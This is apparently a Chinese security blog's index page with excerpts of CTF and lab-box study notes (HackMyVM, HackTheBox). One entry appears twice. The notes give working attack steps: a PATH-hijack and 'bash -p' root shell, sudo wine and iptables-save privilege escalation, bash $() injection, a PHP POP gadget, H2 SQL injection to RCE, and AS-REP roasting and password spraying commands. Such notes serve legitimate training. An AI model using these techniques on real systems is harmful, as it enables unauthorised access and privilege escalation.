[HMV]第二章

7066端口 这个端口一般是马,可以直接用nc连试试。不过可能会断联,nmap也可能探测不出来,要多尝试几次 bash中的比较 如果使用-ne,-eq等比较两个值是否相等的办法,会先将变量作为表达式进行执行解析,尝试转化为整数。例如 read -p ">>>" a b=456 if [[ $a -eq $b ]]; then #这里注意,[[]]里要用空格和$a、$b隔开,不然会报错 echo "right" else echo "wrong" fi 可以发现b被直接拿去解析了。就算加引号也会递归 read -p ">>>" a b="c" c=123 if [[ "$a" -eq "$b" ]]; then echo "right" else echo "wrong" fi 代码里是加了""的,但是在debug模式下就不见了,说明bash确实会执行给的表达式 那我们就可以利用递归这一点进行利用。先试试数组 成功利用,试试c[1] 因为c[1]是空的所以是wrong。接着再试试算式 成功执行,那就试试$()吧 wine提权 wine是用来转椅windows程序的,并且自带了windows的cmd环境。如果wine有sudo,可以直接用sudo wine cmd拿到拥有root权限的cmd 当然要是不行的话,也可以用cs上线的方式拿到shell。msfvenom会报错,原因不明。 PATH提权 和windows里的path环境变量有点类似,linux下的PATH一般指向程序的运行路径。例如我们常用的cat,ls等指令,之所以可以直接执行而不用在前面加一大串路径就是因为PATH里给你写好了,比如这是我自己的kali PATH 只要在这些路径下的可执行程序或脚本都可以直接上。 那么这就有可以操作的空间,如果某天你碰到一个开发者自己编译的程序,用string看到里面调用了cat或者ls,并且有suid,那么只需要做下面这波操作就能提权。下面以cat为例 export PATH=/tmp:PATH echo -e '#!/bin/bash\nbash -p' > /tmp/cat chmod +x /tmp/cat ./开发者的程序

March 31, 2025 · 1 min · Red

[靶场笔记]第二十三章

PHP中的特殊md5值 之前碰到过很多md5绕过的小技巧,但是很少提到md5本身的特殊值(印象中只有一个万能密码)。在PHP中,INF和NAN分别表示最大值和最小值,此时如果有类似下面这样的判断条件 if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { if (md5($dsb) === md5($this->ctf)) { echo file_get_contents("/flag.txt"); } } 就可以利用INF的特性绕过。因为在PHP中,像9e999999这样庞大的数字时没法超过INF的,所以PHP就会干脆把它直接当成INF,所以INF和9e999999的md5值是相等的。需要注意的是,INF可以是字符串也可以是一种数据,也就是说不用加单引号,因为不管是字符串还是无穷大在md5时都会被当作无穷大(这点就很有意思,可能存在其他的绕过漏洞)。但9e999999一定不能加单引号,否则会被当作字符串 命名空间 之前比较少提到这个,因为国内ctf的php pop题大都是在一个文件里实现的。不过今天偶然遇到了跨文件的pop链构造,就顺便记录一下 想下面这样,就是一个命名空间内的拓展类的定义 namespace Helpers{ use \ArrayIterator; class ArrayHelpers extends ArrayIterator { public $callback; public function current() { $value = parent::current(); $debug = call_user_func($this->callback, $value); return $value; } } } 意思就是定义了一个叫Helpers命名空间,在这个命名空间里可以随意定义各种变量、类的名字,不会和php自带的根空间冲突。比如这个ArrayHelpers就有可能会和php某个自带的函数名冲突,所以才需要再创建一个命名空间来避免这种冲突。 并且ArrayHelpers是ArrayIterator的扩展类,可以看到代码里还use了一下,说明它希望使用ArrayIterator这个命名空间里的一些函数,而不是使用php自带的。比如下面的current 假设这段代码被单独放到一个文件里,那么要引用他就需要先将这个文件include一下,然后再use 这里有一个很重要的细节,就是Helpers\ArrayHelpers和\Helpers\ArrayHelpers本质上是两种完全不同的东西。其实就和绝对/相对路径的道理一样,前者是当前命名空间下的命名空间引用,后者是从根空间开始引用。 如果在构造pop链的时候发现语法正确但无响应,就可以检查一下是不是命名空间的路径错了 java h2数据库 这是java自带的一种嵌入式数据库,之所以叫嵌入式,不仅是因为它可以被当成java的包被import,跟重要的是它能够执行java代码。也就是说,一旦存在sql拼接,像下面这样存在sql注入的话 String query = String.format("Select * from notes where name ='%s' ", name); 就可以通过创建alias调用java代码,从而达到RCE的效果 ...

March 21, 2025 · 1 min · Red

[靶场笔记]第二十三章

PHP中的特殊md5值 之前碰到过很多md5绕过的小技巧,但是很少提到md5本身的特殊值(印象中只有一个万能密码)。在PHP中,INF和NAN分别表示最大值和最小值,此时如果有类似下面这样的判断条件 if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) { if (md5($dsb) === md5($this->ctf)) { echo file_get_contents("/flag.txt"); } } 就可以利用INF的特性绕过。因为在PHP中,像9e999999这样庞大的数字时没法超过INF的,所以PHP就会干脆把它直接当成INF,所以INF和9e999999的md5值是相等的。需要注意的是,INF可以是字符串也可以是一种数据,也就是说不用加单引号,因为不管是字符串还是无穷大在md5时都会被当作无穷大(这点就很有意思,可能存在其他的绕过漏洞)。但9e999999一定不能加单引号,否则会被当作字符串 命名空间 之前比较少提到这个,因为国内ctf的php pop题大都是在一个文件里实现的。不过今天偶然遇到了跨文件的pop链构造,就顺便记录一下 想下面这样,就是一个命名空间内的拓展类的定义 namespace Helpers{ use \ArrayIterator; class ArrayHelpers extends ArrayIterator { public $callback; public function current() { $value = parent::current(); $debug = call_user_func($this->callback, $value); return $value; } } } 意思就是定义了一个叫Helpers命名空间,在这个命名空间里可以随意定义各种变量、类的名字,不会和php自带的根空间冲突。比如这个ArrayHelpers就有可能会和php某个自带的函数名冲突,所以才需要再创建一个命名空间来避免这种冲突。 并且ArrayHelpers是ArrayIterator的扩展类,可以看到代码里还use了一下,说明它希望使用ArrayIterator这个命名空间里的一些函数,而不是使用php自带的。比如下面的current 假设这段代码被单独放到一个文件里,那么要引用他就需要先将这个文件include一下,然后再use 这里有一个很重要的细节,就是Helpers\ArrayHelpers和\Helpers\ArrayHelpers本质上是两种完全不同的东西。其实就和绝对/相对路径的道理一样,前者是当前命名空间下的命名空间引用,后者是从根空间开始引用。 如果在构造pop链的时候发现语法正确但无响应,就可以检查一下是不是命名空间的路径错了 java h2数据库 这是java自带的一种嵌入式数据库,之所以叫嵌入式,不仅是因为它可以被当成java的包被import,跟重要的是它能够执行java代码。也就是说,一旦存在sql拼接,像下面这样存在sql注入的话 String query = String.format("Select * from notes where name ='%s' ", name); 就可以通过创建alias调用java代码,从而达到RCE的效果 ...

March 21, 2025 · 1 min · Red

[HTB]第六章

本章靶机为Cat、Backfire、Titanic。(本章踩坑细节比较多) apache2 access.log 这个文件下会有好东西,一般碰到用GET传敏感数据的地方都可以关注一下 PDO语句 一般在做数据库交互的地方都会用PDO语句防止sql注入,像下面这样 出现这种sql执行一般可以直接略过,不会出现注入。什么样的地方才可能出现注入呢?像下面这样 这里只有delete语句做PDO处理,insert语句使用直接拼接的方式。sqlmap就能扫出来 登录框、表单提交和邮件 都是xss出现的重灾区,多发发 邮箱 在/var/mail目录,linpeas能扫出可以访问的邮箱目录 Gitea 一个能让你搭建类似github一样的代码托管仓库的开源项目。当然需要注意它的版本,可能会有xss漏洞 https://www.exploit-db.com/exploits/52077 另外,如果能直接读文件,就要关注一些Gitea的敏感文件。比如data/gitea/gitea.db、data/gitea.db、custom/conf/app.ini和data/conf/app.ini swaks 简易邮件发送小工具,格式如下 swaks --to "aka@redshome.com" --from "sunny@localhost" --header "Subject: click link" --body "http://localhost:3000/" --server localhost --port 25 --timeout 30s wss协议 ws套上了tls就是wss。包体也不太一样,不能直接用ws连wss ssh-keygen 用来生成私钥。有些靶机不吃ed25519,rsa比较通用 ssh-keygen -t rsa -b 4096 或者 ssh-keygen -t ed25519 字节长度其实无所谓,打靶机能用就行 iptables-save提权 和gobuster提权有点类似。把ssh公钥通过iptables规则保存到authorized_keys里。具体操作如下 首先把公钥写到一个input链里 iptables -A INPUT -i lo -j ACCEPT -m comment --comment $'nssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIFafyRywbrdQjXxVMl1rKsXLVdY4xnkFTNAAkDGRPsiJ root@akared' 再保存即可 iptables-save -f /root/.ssh/authorized_keys 接口的权限 有时候像download、filename这种接口的权限就足够读user.txt,多试试 一个john的小坑 john在指定wordlist的时候记得要加=或者:,不然会扫不出来 ...

February 27, 2025 · 1 min · Red

[HTB]第五章

本篇靶机Certified,Cicada,EscapeTwo。环境都为windows AS-REPRoasting 一种针对 Windows AD的密码攻击技术,它的目标是从AD中抓取和破解弱密码的用户凭据。这种技术特别针对使用 Kerberos 认证协议 的环境 其实有点类似像批量尝试匿名登陆,攻击脚本如下 impacket-GetNPUsers -dc-ip 10.10.11.41 -no-pass -request -usersfile user_list certified.htb/ nxc smb常用攻击参数 --rid-brute:用rid爆破用户名,爆破出来的可能比实际少,一般是在只有匿名用户的时候用 --continue-on-success:用来测试用户名和密码,直到成功也不停下。也就是密码喷洒 --shares:用来查看当前用户能够访问的smb目录 --users:查看当前用户能看到的用户名,会比rid-brute准确。而且能看到desc,说不定会有特殊收获 --local-auth:使用当前被攻击机器自带的本地身份验证,而不使用域验证 SeBackupPrivilege和SeRestorePrivilege权限 当使用whoami /pri查看用户有SeBackupPrivilege和SeRestorePrivilege权限时,就可以用PTH 步骤是先将注册表中的sam和system存下来 接着用secretsdump dump出hash 最后拿着hash登陆就行 或者用nxc smbclient 使用格式如下 smbclient '\\11.4.5.14\' -U akared 进入后再输入密码就行 windows server常用端口服务对照表 445:smb(共享文件服务) 5985:winrm(远程命令执行) 135:rpcclient (搜集用户名和组名) 1433:mssql(数据库) awk妙用 除了常规的-F分割外,还有一个就是NR。这个表示当前行数,从1开始计数。下面是个例子 awk -F' ' 'NR>1 {print $5}' 这样就能去掉首行内容。另外,awk还有一个特殊元素是$0,表示当前行的整行内容 awk经常被用在和paste配套使用,paste是用来对输出内容进行分割的,这样awk处理完的端口数据就可以直接丢到nmap Writeowner权限修改密码 理论上说,有这个权限应该就能修改被控用户的密码。但这位博主没有成功,不知道为什么,就顺手记录一下吧https://cn-sec.com/archives/3623739.html bloodhound信息收集 除了传统的上传exe和ps1搜集,还有一种是直接通过bloodhound-python,这种方法可以不需要拿到shell,但用户名密码还是得提供。适用于shell不方便使用的时候 bloodhound-python -c All -u oscar -p 86LxLBMgEWaKUnBG -ns 10.10.11.51 -d sequel.htb -dc DC01.sequel.htb --zip bloodAD 一个可以修改用户AD中保存的权限的工具,下面示例如何修改用户ca_svc的owner为ryan ...

February 4, 2025 · 1 min · Red